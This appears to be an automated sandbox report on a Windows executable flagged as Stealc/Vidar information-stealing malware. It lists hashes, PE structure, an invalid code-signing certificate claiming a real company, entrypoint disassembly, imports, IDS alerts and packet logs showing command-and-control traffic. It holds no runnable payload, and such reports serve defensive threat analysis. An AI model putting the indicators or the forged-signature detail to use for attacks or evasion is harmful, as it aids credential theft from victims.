Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.97814839761367
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Yn13dTQdcW.exe
File size:	1'192'690 bytes
MD5:	82ccd973e00420a4768bc76d2f442f52
SHA1:	893c63dad01eb0367c11325efbf8492e193b15c3
SHA256:	37919954152f36fb936ba48b6418c1172471ff9cc4627a7f3f941353e2c17b91
SHA512:	cf6404af60401833f623ee9cd6732c451e97392b18b682a62adcddcdec17a062472c9385b13f585ef2a5a1e9bf1b8424409be95e1dce7b8a597124d4e801d599
SSDEEP:	24576:Agkb+FVzgbGp2lwg27Rr+4rHSUgAEmEqnWbzv54qtpaxNlZzVWNFKQF5B1yrp:A672a2Q1byLPzB4qaX0Nbyrp
TLSH:	E14523538F6D0C32DC961AB9FEF4952F6F36FA460880D1622305C5CC67A41817F69BBA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t.......B...8.....

File Icon


Icon Hash:	0000000000000000

Static PE Info

General

Entrypoint:	0x4038af
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x4F47E2E4 [Fri Feb 24 19:20:04 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	be41bf7b8cc010b614bd36bbca606973

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	28/04/2022 01:00:00 30/04/2025 00:59:59
Subject Chain	CN=LINE Corporation, OU=IT Service Center, O=LINE Corporation, L=Shinjuku-ku, S=Tokyo, C=JP, SERIALNUMBER=0111-01-089911, OID.2.5.4.15=Private Organization, OID.1.3.6.1.4.1.311.60.2.1.3=JP
Version:	3
Thumbprint MD5:	0316135C1FBED927AB33C4704F364ECB
Thumbprint SHA-1:	97EED58F70035FB3A06A7350C6FD6004B1822AF2
Thumbprint SHA-256:	9042594043A20B3C9ED1CFE26AA181B1A84C899E0084CD9A63EC6A76B035F215
Serial:	09344CEB47DBDA41BD0D582C9218178A

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+18h], ebp
mov dword ptr [esp+10h], 0040A268h
mov dword ptr [esp+14h], ebp
call dword ptr [00409030h]
push 00008001h
call dword ptr [004090B4h]
push ebp
call dword ptr [004092C0h]
push 00000008h
mov dword ptr [0047EB98h], eax
call 00007FF839049A9Bh
push ebp
push 000002B4h
mov dword ptr [0047EAB0h], eax
lea eax, dword ptr [esp+38h]
push eax
push ebp
push 0040A264h
call dword ptr [00409184h]
push 0040A24Ch
push 00476AA0h
call 00007FF83904977Dh
call dword ptr [004090B0h]
push eax
mov edi, 004CF0A0h
push edi
call 00007FF83904976Bh
push ebp
call dword ptr [00409134h]
cmp word ptr [004CF0A0h], 0022h
mov dword ptr [0047EAB8h], eax
mov eax, edi
jne 00007FF83904706Ah
push 00000022h
pop esi
mov eax, 004CF0A2h
push esi
push eax
call 00007FF839049441h
push eax
call dword ptr [00409260h]
mov esi, eax
mov dword ptr [esp+1Ch], esi
jmp 00007FF8390470F3h
push 00000020h
pop ebx
cmp ax, bx
jne 00007FF83904706Ah
add esi, 02h
cmp word ptr [esi], bx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ C ] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xac40	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x100000	0x19fe	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x11e052	0x52a0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x86000	0x994	.ndata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9000	0x2d0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x728c	0x7400	419d4e1be1ac35a5db9c47f553b27cea	False	0.6566540948275862	data	6.499708590628113	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x2b6e	0x2c00	cca1ca3fbf99570f6de9b43ce767f368	False	0.3678977272727273	data	4.497932535153822	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x72b9c	0x200	77f0839f8ebea31040e462523e1c770e	False	0.279296875	data	1.8049406284608531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x7f000	0x81000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x100000	0x19fe	0x1a00	9cafdbb908c70e5895774afd22151f33	False	0.16165865384615385	data	1.828675345709303	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x102000	0xfd6	0x1000	22f304909997cf1575460929ba1c5330	False	0.59814453125	data	5.588159694808622	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x1001c0	0x19e	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.3961352657004831
RT_ICON	0x100360	0x1128	Device independent bitmap graphic, 32 x 64 x 32, image size 4352	English	United States	0.012067395264116576
RT_DIALOG	0x101488	0x100	data	English	United States	0.5234375
RT_DIALOG	0x101588	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x1016a4	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x101704	0x22	data	English	United States	0.9117647058823529
RT_MANIFEST	0x101728	0x2d6	XML 1.0 document, ASCII text, with very long lines (726), with no line terminators	English	United States	0.5647382920110193

Imports

DLL	Import
KERNEL32.dll	SetFileTime, CompareFileTime, SearchPathW, GetShortPathNameW, GetFullPathNameW, MoveFileW, SetCurrentDirectoryW, GetFileAttributesW, GetLastError, CreateDirectoryW, SetFileAttributesW, Sleep, GetTickCount, GetFileSize, GetModuleFileNameW, GetCurrentProcess, CopyFileW, ExitProcess, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, SetErrorMode, lstrcpynA, CloseHandle, lstrcpynW, GetDiskFreeSpaceW, GlobalUnlock, GlobalLock, CreateThread, LoadLibraryW, CreateProcessW, lstrcmpiA, CreateFileW, GetTempFileNameW, lstrcatW, GetProcAddress, LoadLibraryA, GetModuleHandleA, OpenProcess, lstrcpyW, GetVersionExW, GetSystemDirectoryW, GetVersion, lstrcpyA, RemoveDirectoryW, lstrcmpA, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalAlloc, WaitForSingleObject, GetExitCodeProcess, GlobalFree, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, WideCharToMultiByte, lstrlenA, MulDiv, WriteFile, ReadFile, MultiByteToWideChar, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, lstrlenW
USER32.dll	GetAsyncKeyState, IsDlgButtonChecked, ScreenToClient, GetMessagePos, CallWindowProcW, IsWindowVisible, LoadBitmapW, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, TrackPopupMenu, GetWindowRect, AppendMenuW, CreatePopupMenu, GetSystemMetrics, EndDialog, EnableMenuItem, GetSystemMenu, SetClassLongW, IsWindowEnabled, SetWindowPos, DialogBoxParamW, CheckDlgButton, CreateWindowExW, SystemParametersInfoW, RegisterClassW, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharNextA, CharUpperW, CharPrevW, wvsprintfW, DispatchMessageW, PeekMessageW, wsprintfA, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, LoadCursorW, SetCursor, GetWindowLongW, GetSysColor, CharNextW, GetClassInfoW, ExitWindowsEx, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, FindWindowExW
GDI32.dll	SetBkColor, GetDeviceCaps, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor, SelectObject
SHELL32.dll	SHBrowseForFolderW, SHGetPathFromIDListW, SHGetFileInfoW, ShellExecuteW, SHFileOperationW, SHGetSpecialFolderLocation
ADVAPI32.dll	RegEnumKeyW, RegOpenKeyExW, RegCloseKey, RegDeleteKeyW, RegDeleteValueW, RegCreateKeyExW, RegSetValueExW, RegQueryValueExW, RegEnumValueW
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	CoTaskMemFree, OleInitialize, OleUninitialize, CoCreateInstance
VERSION.dll	GetFileVersionInfoSizeW, GetFileVersionInfoW, VerQueryValueW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-06T09:42:08.026227+0100	2049087	ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST	1	192.168.2.4	49802	5.75.212.196	443	TCP
2024-12-06T09:42:10.293155+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	5.75.212.196	443	192.168.2.4	49808	TCP
2024-12-06T09:42:12.558181+0100	2051831	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1	1	5.75.212.196	443	192.168.2.4	49814	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2024 09:41:58.555704117 CET	49784	443	192.168.2.4	149.154.167.99
Dec 6, 2024 09:41:58.555744886 CET	443	49784	149.154.167.99	192.168.2.4
Dec 6, 2024 09:41:58.555825949 CET	49784	443	192.168.2.4	149.154.167.99
Dec 6, 2024 09:41:58.562189102 CET	49784	443	192.168.2.4	149.154.167.99
Dec 6, 2024 09:41:58.562197924 CET	443	49784	149.154.167.99	192.168.2.4
Dec 6, 2024 09:41:59.949896097 CET	443	49784	149.154.167.99	192.168.2.4
Dec 6, 2024 09:41:59.950118065 CET	49784	443	192.168.2.4	149.154.167.99
Dec 6, 2024 09:42:00.022367954 CET	49784	443	192.168.2.4	149.154.167.99
Dec 6, 2024 09:42:00.022407055 CET	443	49784	149.154.167.99	192.168.2.4
Dec 6, 2024 09:42:00.022670031 CET	443	49784	149.154.167.99	192.168.2.4
Dec 6, 2024 09:42:00.022730112 CET	49784	443	192.168.2.4	149.154.167.99
Dec 6, 2024 09:42:00.051948071 CET	49784	443	192.168.2.4	149.154.167.99
Dec 6, 2024 09:42:00.099325895 CET	443	49784	149.154.167.99	192.168.2.4
Dec 6, 2024 09:42:00.497541904 CET	443	49784	149.154.167.99	192.168.2.4
Dec 6, 2024 09:42:00.497565985 CET	443	49784	149.154.167.99	192.168.2.4
Dec 6, 2024 09:42:00.497610092 CET	443	49784	149.154.167.99	192.168.2.4
Dec 6, 2024 09:42:00.497632027 CET	443	49784	149.154.167.99	192.168.2.4
Dec 6, 2024 09:42:00.497713089 CET	49784	443	192.168.2.4	149.154.167.99
Dec 6, 2024 09:42:00.497771025 CET	49784	443	192.168.2.4	149.154.167.99
Dec 6, 2024 09:42:00.510413885 CET	49784	443	192.168.2.4	149.154.167.99
Dec 6, 2024 09:42:00.510436058 CET	443	49784	149.154.167.99	192.168.2.4
Dec 6, 2024 09:42:00.834557056 CET	49790	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:00.834610939 CET	443	49790	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:00.834692955 CET	49790	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:00.835042000 CET	49790	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:00.835052967 CET	443	49790	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:02.668945074 CET	443	49790	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:02.669017076 CET	49790	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:02.673346043 CET	49790	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:02.673357010 CET	443	49790	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:02.673674107 CET	443	49790	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:02.673727036 CET	49790	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:02.674192905 CET	49790	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:02.719321966 CET	443	49790	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:03.342689037 CET	443	49790	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:03.342781067 CET	443	49790	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:03.342796087 CET	49790	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:03.342825890 CET	49790	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:03.397243977 CET	49790	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:03.397277117 CET	443	49790	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:03.462867975 CET	49796	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:03.462918997 CET	443	49796	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:03.462989092 CET	49796	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:03.463310957 CET	49796	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:03.463324070 CET	443	49796	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:04.863934040 CET	443	49796	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:04.864021063 CET	49796	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:04.864571095 CET	49796	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:04.864583969 CET	443	49796	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:04.866583109 CET	49796	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:04.866592884 CET	443	49796	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:05.750262022 CET	443	49796	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:05.750354052 CET	443	49796	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:05.750550032 CET	49796	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:05.750854969 CET	49796	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:05.750874043 CET	443	49796	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:05.752549887 CET	49802	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:05.752588034 CET	443	49802	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:05.752657890 CET	49802	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:05.752882957 CET	49802	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:05.752887964 CET	443	49802	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:07.150543928 CET	443	49802	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:07.150813103 CET	49802	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:07.151685953 CET	49802	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:07.151695967 CET	443	49802	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:07.154620886 CET	49802	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:07.154625893 CET	443	49802	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:08.026273012 CET	443	49802	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:08.026303053 CET	443	49802	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:08.026341915 CET	49802	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:08.026372910 CET	443	49802	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:08.026386023 CET	49802	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:08.026398897 CET	443	49802	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:08.026407957 CET	49802	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:08.026441097 CET	49802	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:08.026855946 CET	49802	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:08.026874065 CET	443	49802	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:08.028747082 CET	49808	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:08.028786898 CET	443	49808	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:08.028853893 CET	49808	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:08.029131889 CET	49808	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:08.029143095 CET	443	49808	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:09.429564953 CET	443	49808	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:09.429667950 CET	49808	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:09.430265903 CET	49808	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:09.430274963 CET	443	49808	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:09.432192087 CET	49808	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:09.432197094 CET	443	49808	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:10.292891026 CET	443	49808	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:10.292921066 CET	443	49808	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:10.292998075 CET	443	49808	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:10.293097973 CET	49808	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:10.293140888 CET	49808	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:10.293468952 CET	49808	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:10.293489933 CET	443	49808	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:10.295717955 CET	49814	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:10.295763016 CET	443	49814	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:10.295851946 CET	49814	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:10.296096087 CET	49814	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:10.296111107 CET	443	49814	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:11.692617893 CET	443	49814	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:11.692683935 CET	49814	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:11.693171978 CET	49814	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:11.693178892 CET	443	49814	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:11.695327044 CET	49814	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:11.695331097 CET	443	49814	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:12.557981968 CET	443	49814	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:12.558079004 CET	443	49814	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:12.558192015 CET	49814	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:12.558520079 CET	49814	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:12.558535099 CET	443	49814	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:12.575139999 CET	49820	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:12.575187922 CET	443	49820	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:12.575270891 CET	49820	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:12.575499058 CET	49820	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:12.575509071 CET	443	49820	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:13.583018064 CET	49826	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:13.583055973 CET	443	49826	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:13.583129883 CET	49826	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:13.583414078 CET	49826	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:13.583425999 CET	443	49826	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:13.975200891 CET	443	49820	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:13.975267887 CET	49820	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:13.975775957 CET	49820	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:13.975781918 CET	443	49820	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:13.977763891 CET	49820	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:13.977771044 CET	443	49820	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:13.977813005 CET	49820	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:13.977823019 CET	443	49820	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:14.951914072 CET	443	49820	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:14.951977968 CET	49820	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:14.951994896 CET	443	49820	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:14.952009916 CET	443	49820	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:14.952043056 CET	49820	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:14.952089071 CET	49820	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:14.953289032 CET	49820	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:14.953303099 CET	443	49820	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:15.202627897 CET	443	49826	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:15.202677965 CET	49826	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:15.203097105 CET	49826	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:15.203103065 CET	443	49826	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:15.204818010 CET	49826	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:15.204826117 CET	443	49826	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:16.217602968 CET	443	49826	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:16.217672110 CET	443	49826	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:16.217787027 CET	49826	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:16.249671936 CET	49826	443	192.168.2.4	5.75.212.196
Dec 6, 2024 09:42:16.249692917 CET	443	49826	5.75.212.196	192.168.2.4
Dec 6, 2024 09:42:17.120799065 CET	49837	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:17.120822906 CET	443	49837	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:17.120881081 CET	49837	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:17.122186899 CET	49837	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:17.122193098 CET	443	49837	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:17.314543009 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:17.314578056 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:17.314862967 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:17.315073013 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:17.315083027 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:17.384469986 CET	49839	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:17.384493113 CET	443	49839	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:17.384591103 CET	49839	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:17.384915113 CET	49839	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:17.384927034 CET	443	49839	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:17.461157084 CET	49844	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:17.461184978 CET	443	49844	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:17.461302996 CET	49844	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:17.461601973 CET	49844	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:17.461613894 CET	443	49844	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:18.819925070 CET	443	49837	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:18.820219040 CET	49837	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:18.820241928 CET	443	49837	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:18.821110964 CET	443	49837	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:18.821180105 CET	49837	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:18.822263002 CET	49837	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:18.822320938 CET	443	49837	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:18.822560072 CET	49837	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:18.822566032 CET	443	49837	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:18.876395941 CET	49837	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.003876925 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.005795956 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.005815029 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.006788015 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.006853104 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.007308006 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.007381916 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.007491112 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.007500887 CET	443	49838	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.048305035 CET	49838	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.075519085 CET	443	49839	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.078403950 CET	49839	443	192.168.2.4	172.217.21.36
Dec 6, 2024 09:42:19.078425884 CET	443	49839	172.217.21.36	192.168.2.4
Dec 6, 2024 09:42:19.079288960 CET	443	49839	172.217.21.36	192.168.2.4
